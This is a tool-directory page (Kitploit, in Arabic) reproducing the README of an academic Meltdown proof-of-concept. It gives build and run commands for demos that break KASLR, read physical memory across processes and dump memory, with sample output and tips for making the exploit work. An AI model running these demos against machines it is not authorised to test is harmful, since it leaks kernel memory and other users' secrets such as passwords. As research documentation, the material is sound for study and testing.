Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
meltdown — عروض توضيحية لإثبات المفهوم ومكتبة libkdump توضح هجوم Meltdown المعماري الدقيق، مما يؤدي إلى تسريب ذاكرة النواة والذاكرة الفيزيائية على معالجات Intel المعرضة للخطر. | Kitploit
أدوات/GitHubGitHub/isec-tugraz/meltdown
تحليل الذاكرة الجنائيتحليل الثغرات الأمنيةالاستغلالتسريب البياناتالتشفيرأمن الأجهزةالأوراق والأبحاثاستغلال الملفات الثنائيةArchived
GitHubisec-tugraz/meltdown

meltdown

عروض توضيحية لإثبات المفهوم ومكتبة libkdump توضح هجوم Meltdown المعماري الدقيق، مما يؤدي إلى تسريب ذاكرة النواة والذاكرة الفيزيائية على معالجات Intel المعرضة للخطر.

4.2k521منذ 4 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودعالموقع الإلكتروني

إثبات مفهوم Meltdown

يحتوي هذا المستودع على عدة تطبيقات توضح خلل Meltdown. للحصول على معلومات تقنية حول الخلل، راجع الورقة البحثية:

  • Meltdown من تأليف Lipp وSchwarz وGruss وPrescher وHaas وMangard وKocher وGenkin وYarom وHamburg

تم بناء التطبيقات في هذا المستودع باستخدام libkdump، وهي مكتبة طورناها من أجل الورقة البحثية. تبسّط هذه المكتبة استغلال الخلل من خلال التكيّف تلقائيًا مع خصائص معينة للبيئة.

مقاطع الفيديو

يحتوي هذا المستودع على عدة مقاطع فيديو توضح Meltdown

  • الفيديو رقم 1 يوضح كيف يمكن استخدام Meltdown للتجسس في الوقت الفعلي على إدخال كلمة مرور.
  • الفيديو رقم 2 يوضح كيف يسرّب Meltdown محتوى الذاكرة الفيزيائية.
  • الفيديو رقم 3 يوضح كيف يعيد Meltdown بناء صورة من الذاكرة.
  • الفيديو رقم 4 يوضح كيف يعيد Meltdown بناء صورة من الذاكرة مشفرة بصيغة ملف FLIF.
  • الفيديو رقم 5 يوضح كيف يسرّب Meltdown الذاكرة غير المخزّنة مؤقتًا.

العروض التوضيحية

يحتوي هذا المستودع على خمسة عروض توضيحية لاستعراض حالات استخدام مختلفة. تم اختبار جميع العروض التوضيحية على Ubuntu 16.04 مع معالج Intel Core i7-6700K، لكن يجب أن تعمل على أي نظام Linux مع أي معالج Intel حديث منذ عام 2010.

للحصول على أفضل النتائج، نوصي بمعالج سريع يدعم Intel TSX (مثل أي Intel Core i7-5xxx أو i7-6xxx أو i7-7xxx). علاوة على ذلك، يجب تثبيت كل عرض توضيحي على نواة معالج واحدة، على سبيل المثال باستخدام taskset.

تبعية البناء للعروض التوضيحية

كشرط مسبق، تحتاج إلى تثبيت glibc-static على جهازك.

للأنظمة القائمة على RPM:

root@kitploit:~
sudo yum install -y glibc-static

العرض التوضيحي رقم 1: اختبار أولي (test)

هذا هو العرض التوضيحي الأكثر أساسية. يستخدم Meltdown لقراءة عناوين يمكن الوصول إليها من مساحة العنوان الخاصة به، دون كسر أي آليات عزل.

إذا لم يعمل هذا العرض التوضيحي معك، فمن المرجح ألا تعمل العروض التوضيحية المتبقية أيضًا. الأسباب متعددة، على سبيل المثال، قد يكون المعالج بطيئًا جدًا، أو لا يدعم التنفيذ خارج الترتيب، أو أن المؤقت عالي الدقة ليس دقيقًا بما فيه الكفاية (خاصة في الأجهزة الافتراضية)، أو أن نظام التشغيل لا يدعم معالجات الإشارات المخصصة، إلخ.

البناء والتشغيل

root@kitploit:~
make
taskset 0x1 ./test

إذا رأيت مخرجات مشابهة لهذه

root@kitploit:~
Expect: Welcome to the wonderful world of microarchitectural attacks
   Got: Welcome to the wonderful world of microarchitectural attacks

فإن العرض التوضيحي الأساسي يعمل.

العرض التوضيحي رقم 2: كسر KASLR (kaslr)

بدءًا من نواة Linux 4.12، يكون KASLR (عشوائية تخطيط مساحة عنوان النواة) نشطًا افتراضيًا. وهذا يعني أن موقع النواة (وأيضًا الخريطة الفيزيائية المباشرة التي تعيّن كامل الذاكرة الفيزيائية) يتغير مع كل إعادة تشغيل.

يستخدم هذا العرض التوضيحي Meltdown لتسريب العشوائية (السرية) للخريطة الفيزيائية المباشرة. يتطلب هذا العرض التوضيحي صلاحيات الجذر لتسريع العملية. تصف الورقة البحثية نسخة لا تتطلب صلاحيات الجذر.

البناء والتشغيل

root@kitploit:~
make
sudo taskset 0x1 ./kaslr

بعد بضع ثوانٍ، يجب أن ترى شيئًا مشابهًا لهذا

root@kitploit:~
[+] Direct physical map offset: 0xffff880000000000

العرض التوضيحي رقم 3: اختبار الموثوقية (reliability)

يختبر هذا العرض التوضيحي مدى موثوقية قراءة الذاكرة الفيزيائية. بالنسبة لهذا العرض التوضيحي، تحتاج إما إلى إزاحة الخريطة الفيزيائية المباشرة (مثل من العرض التوضيحي رقم 2) أو يجب عليك تعطيل KASLR بتحديد nokaslr في سطر أوامر النواة.

البناء والتشغيل

قم ببناء وتشغيل reliability. إذا كان KASLR مفعّلًا، فإن المعامل الأول هو إزاحة الخريطة الفيزيائية المباشرة. وإلا، لا يتطلب البرنامج أي معامل.

root@kitploit:~
make
sudo taskset 0x1 ./reliability 0xffff880000000000

بعد بضع ثوانٍ، يجب أن تحصل على مخرجات مشابهة لهذه:

root@kitploit:~
[-] Success rate: 99.93% (read 1354 values)

العرض التوضيحي رقم 4: قراءة الذاكرة الفيزيائية (physical_reader)

يقرأ هذا العرض التوضيحي الذاكرة من عملية مختلفة عبر قراءة الذاكرة الفيزيائية مباشرة. بالنسبة لهذا العرض التوضيحي، تحتاج إما إلى إزاحة الخريطة الفيزيائية المباشرة (مثل من العرض التوضيحي رقم 2) أو يجب عليك تعطيل KASLR بتحديد nokaslr في سطر أوامر النواة.

من حيث المبدأ، يمكن لهذا البرنامج قراءة عناوين فيزيائية عشوائية. ومع ذلك، نظرًا لأن الذاكرة الفيزيائية تحتوي على الكثير من البيانات غير القابلة للقراءة البشرية، نوفر أداة اختبار (secret)، تضع سلسلة قابلة للقراءة البشرية في الذاكرة وتوفر مباشرة العنوان الفيزيائي لهذه السلسلة.

البناء والتشغيل

بالنسبة للعرض التوضيحي، شغّل أولًا secret (كجذر) للحصول على العنوان الفيزيائي لسلسلة قابلة للقراءة البشرية:

root@kitploit:~
make
sudo ./secret

يجب أن يُخرج شيئًا مثل هذا:

root@kitploit:~
[+] Secret: If you can read this, this is really bad
[+] Physical address of secret: 0x390fff400
[+] Exit with Ctrl+C if you are done reading the secret

أثناء تشغيل برنامج secret، ابدأ physical_reader. المعامل الأول هو العنوان الفيزيائي الذي طبعه secret. إذا لم يكن KASLR معطّلًا لديك، فالمعامل الثاني هو إزاحة الخريطة الفيزيائية المباشرة.

root@kitploit:~
taskset 0x1 ./physical_reader 0x390fff400 0xffff880000000000

بعد بضع ثوانٍ، يجب أن تحصل على مخرجات مشابهة لهذه:

root@kitploit:~
[+] Physical address       : 0x390fff400
[+] Physical offset        : 0xffff880000000000
[+] Reading virtual address: 0xffff880390fff400

If you can read this, this is really bad

العرض التوضيحي رقم 5: تفريغ الذاكرة (memdump)

يقوم هذا العرض التوضيحي بتفريغ محتوى الذاكرة. مثل العرضين رقم 3 ورقم 4، يستخدم الخريطة الفيزيائية المباشرة، لتفريغ محتويات الذاكرة الفيزيائية بصيغة مشابهة لـ hexdump.

مرة أخرى، نظرًا لأن الذاكرة الفيزيائية تحتوي على الكثير من المحتوى غير القابل للقراءة البشرية، نوفر أداة اختبار لملء كميات كبيرة من الذاكرة الفيزيائية بسلاسل قابلة للقراءة البشرية.

البناء والتشغيل

بالنسبة للعرض التوضيحي، شغّل أولًا memory_filler لملء الذاكرة بسلاسل قابلة للقراءة البشرية. المعامل الأول هو مقدار الذاكرة (بالجيجابايت) المراد ملؤها.

root@kitploit:~
make
./memory_filler 9

ثم، شغّل أداة memdump لتفريغ محتويات الذاكرة. إذا كنت قد شغّلت memory_filler من قبل، فيجب أن ترى بعض أجزاء السلاسل. إذا كان لديك Firefox أو Chrome مع عدة علامات تبويب مفتوحة، فقد ترى أيضًا أجزاء من المواقع المفتوحة أو التي أُغلقت مؤخرًا.

المعامل الأول هو العنوان الفيزيائي الذي يجب أن يبدأ عنده التفريغ (اتركه فارغًا للبدء من الجيجابايت الأول). المعامل الثاني هو عدد البايتات التي تريد قراءتها، لقراءتها كلها أعطِ -1. إذا لم يكن KASLR معطّلًا لديك، فالمعامل الثالث هو إزاحة الخريطة الفيزيائية المباشرة.

root@kitploit:~
taskset 0x1 ./memdump 0x240000000 -1 0xffff880000000000 # start at 9 GB

يجب أن تحصل على hexdump لأجزاء من الذاكرة (قد يحتوي حتى على أسرار مثل كلمات المرور، انظر المثال في الورقة البحثية)، على سبيل المثال:

root@kitploit:~
 240001c9f: | 00 6d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | .m.............. |
 24000262f: | 00 7d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | .}.............. |
 24000271f: | 00 00 00 00 00 00 00 00 00 00 00 00 65 6e 20 75 | ............en u |
 24000272f: | 73 65 72 20 73 70 61 63 65 20 61 6e 64 20 6b 65 | ser space and ke |
 24000273f: | 72 6e 65 6c 57 65 6c 63 6f 6d 65 20 74 6f 20 74 | rnelWelcome to t |
 24000298f: | 00 61 72 79 20 62 65 74 77 65 65 6e 20 75 73 65 | .ary between use |
 24000299f: | 72 20 73 70 61 63 65 20 61 6e 64 20 6b 65 72 6e | r space and kern |
 2400029af: | 65 6c 42 75 72 6e 20 61 66 74 65 72 20 72 65 61 | elBurn after rea |
 2400029bf: | 64 69 6e 67 20 74 68 69 73 20 73 74 72 69 6e 67 | ding this string |
 240002dcf: | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 | ................ |
 2400038af: | 6a 75 73 74 20 73 70 69 65 64 20 6f 6e 20 61 00 | just spied on a. |
 240003c8f: | 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ |
 24000412f: | 00 00 00 00 00 00 00 00 00 00 00 00 65 74 73 2e | ............ets. |
 24000413f: | 2e 2e 57 65 6c 63 6f 6d 65 20 74 6f 20 74 68 65 | ..Welcome to the |
 2400042ff: | 00 00 00 00 00 00 00 00 00 6e 67 72 61 74 75 6c | .........ngratul |
 24000430f: | 61 74 69 6f 6e 73 2c 20 79 6f 75 20 6a 75 73 74 | ations, you just |
 24000431f: | 20 73 70 69 65 64 20 6f 6e 20 61 6e 20 61 70 70 |  spied on an app |

الأسئلة الشائعة

  • هل يعمل على Windows / Ubuntu on Windows (WSL) / Mac OS؟

    لا. يعمل هذا الإثبات فقط على Linux، لأنه يستخدم خصائص خاصة بنواة Linux، مثل الخريطة الفيزيائية المباشرة.

  • هل يمكنني تشغيل الإثبات في جهاز افتراضي؟

    نعم، يعمل الإثبات أيضًا على الأجهزة الافتراضية. ومع ذلك، نظرًا للطبقة الإضافية التي يقدمها الجهاز الافتراضي، قد لا يعمل بشكل جيد كما هو الحال على الأجهزة الأصلية.

  • برنامج KASLR (kaslr) لا يجد الإزاحة!

    أداة kaslr تقوم فقط بعدد قليل جدًا من القياسات لتكون سريعة. إذا لم تجد الإزاحة، فهناك احتمالان:

    • غيّر عدد المحاولات في kaslr.c: config.retries = 1000;
    • استخدم وحدة النواة في kaslr_offset لقراءة الإزاحة مباشرة من النواة. ثبّت ترويسات النواة الخاصة بنواتك (sudo apt-get install linux-headers-`uname -r` ) وشغّل sudo ./direct_physical_map.sh
  • قلت إنه يعمل على الذاكرة غير المخزّنة مؤقتًا، لكن جميع عروضك التوضيحية تضمن تخزين الذاكرة مؤقتًا!

    جعله يعمل على الذاكرة غير المخزّنة مؤقتًا أكثر تعقيدًا، وغالبًا ما يتطلب بعض التعديل على المعاملات. لذلك، نضمن تخزين الذاكرة مؤقتًا في الإثبات لتسهيل إعادة الإنتاج. ومع ذلك، يمكنك ببساطة إزالة الكود الذي يخزّن القيم مؤقتًا واستبداله بـ clflush لاختبار الاستغلال على الذاكرة غير المخزّنة مؤقتًا (انظر الفيديو رقم 5 للحصول على مثال). على الرغم من عدم ذكره في منشور المدونة الأصلي من Google، فقد تم تأكيد ذلك أيضًا من قبل باحثين مستقلين (مثل ، ، ).

تحذيرات

تحذير رقم 1: نحن نوفر هذا الكود كما هو. أنت مسؤول عن حماية نفسك وممتلكاتك وبياناتك والآخرين من أي مخاطر تسببها هذه الشيفرة. قد تتسبب هذه الشيفرة في سلوك غير متوقع وغير مرغوب فيه على جهازك. قد لا تكتشف هذه الشيفرة الثغرة على جهازك.

تحذير رقم 2: إذا وجدت أن جهاز كمبيوتر عرضة لخلل Meltdown، فقد ترغب في تجنب استخدامه كنظام متعدد المستخدمين. ينتهك Meltdown حماية الذاكرة الخاصة بالمعالج. على جهاز عرضة لخلل Meltdown، يمكن لعملية واحدة قراءة جميع الصفحات المستخدمة من قبل العمليات الأخرى أو من قبل النواة.

تحذير رقم 3: هذه الشيفرة لأغراض الاختبار فقط. لا تشغّلها على أي أنظمة إنتاجية. لا تشغّلها على أي نظام قد يستخدمه شخص أو كيان آخر.

تنزيل الأداة
Alex Ionescu
Raphael Carvalho
Pavel Boldin
  • إنه لا يعمل فقط على جهاز الكمبيوتر الخاص بي، ماذا يمكنني أن أفعل؟

    يمكن أن يكون هناك الكثير من الأسباب المختلفة لذلك. جمعنا بعض الأشياء التي يمكنك تجربتها:

    • تأكد من أن تردد المعالج عند الحد الأقصى، وأن تحجيم التردد معطّل.
    • إذا كنت تشغّله على جهاز محمول (مثل حاسوب محمول)، فتأكد من توصيله بالكهرباء للحصول على أفضل أداء.
    • حاول تثبيت الأدوات على نواة معالج محددة (على سبيل المثال باستخدام taskset). جرّب أيضًا نوى وتوليفات نوى مختلفة.
    • غيّر الحمل على جهاز الكمبيوتر الخاص بك. على بعض الأجهزة يعمل بشكل أفضل إذا كان الحمل أعلى، وعلى أجهزة أخرى يعمل بشكل أفضل إذا كان الحمل أقل.
    • حاول تعطيل تقنية hyperthreading في BIOS. على بعض أجهزة الكمبيوتر يعمل بشكل أفضل بكثير إذا تم تعطيل hyperthreading.
    • استخدم نسخة مختلفة من Meltdown. يمكن تغيير ذلك في libkdump/libkdump.c في السطر #define MELTDOWN meltdown_nonull. جرّب على سبيل المثال meltdown بدلًا من meltdown_nonull، والذي يعمل بشكل أفضل بكثير على بعض الأجهزة (ولكن ليس على الإطلاق على أجهزة أخرى).
    • حاول إنشاء العديد من المقاطعات، على سبيل المثال بتشغيل أداة stress مع stress -i 2 (أو قيم أخرى للمعامل i، اعتمادًا على عدد النوى).
    • حاول إعادة تشغيل العروض التوضيحية وكذلك جهاز الكمبيوتر الخاص بك. خاصة بعد وضع الاستعداد، تكون التوقيتات معطلة على بعض أجهزة الكمبيوتر.
    • جرّب التلاعب بمعاملات libkdump، على سبيل المثال زيادة عدد المحاولات و/أو القياسات.